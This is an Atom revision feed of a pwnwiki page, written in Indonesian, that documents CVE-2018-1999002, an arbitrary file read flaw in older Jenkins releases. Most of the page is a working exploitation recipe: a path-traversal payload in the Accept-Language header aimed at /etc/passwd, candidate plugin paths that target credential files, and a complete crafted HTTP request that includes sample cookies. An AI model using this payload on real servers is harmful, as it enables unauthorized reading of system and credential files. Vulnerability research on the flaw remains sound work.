https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2018-1999002_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E%2Fid 2026-04-07T20:17:15Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=CVE-2018-1999002_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E/id&diff=3383&oldid=prev 2021-05-26T13:22:10Z

<p>Created page with &quot;== Versi yang terpengaruh == Jenkins weekly 2.132 dan versi sebelumnya Jenkins LTS 2.121.1 dan versi sebelumnya&quot;</p> <p><b>New page</b></p><div>&lt;languages /&gt;<br /> <br /> == Versi yang terpengaruh ==<br /> Jenkins weekly 2.132 dan versi sebelumnya<br /> Jenkins LTS 2.121.1 dan versi sebelumnya<br /> <br /> Itu dapat membaca file apa pun di server sistem Windows, dan dalam kondisi tertentu, itu juga dapat membaca file di server sistem Linux.<br /> <br /> == Eksploitasi ==<br /> Anda harus mengaktifkan izin baca pengguna anonim, tambahkan di header permintaan:<br /> &lt;pre&gt;<br /> Accept-Language: /../../../../../../../../etc/passwd<br /> &lt;/pre&gt;<br /> <br /> Untuk memproses jalur penyertaan dalam permintaan, seperti /plugin/xxxx, Anda dapat mencoba:<br /> <br /> &lt;pre&gt;<br /> /plugin/jquery-detached/.xml<br /> /plugin/jquery-detached/.key<br /> /plugin/credentials/.ini<br /> &lt;/pre&gt;<br /> <br /> Windows:<br /> &lt;pre&gt;<br /> GET /plugin/credentials/.ini HTTP/1.1<br /> Host: x.x.x.x:8080<br /> Accept: text/javascript, text/html, application/xml, text/xml, */*<br /> X-Prototype-Version: 1.7<br /> DNT: 1<br /> X-Requested-With: XMLHttpRequest<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36<br /> Origin: http://x.x.x.x:8080<br /> Referer: http://x.x.x.x:8080/<br /> Accept-Encoding: gzip, deflate<br /> Accept-Language: /../../../../../../../../etc/passwd<br /> Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971<br /> Connection: close<br /> &lt;/pre&gt;</div>

Pwnwiki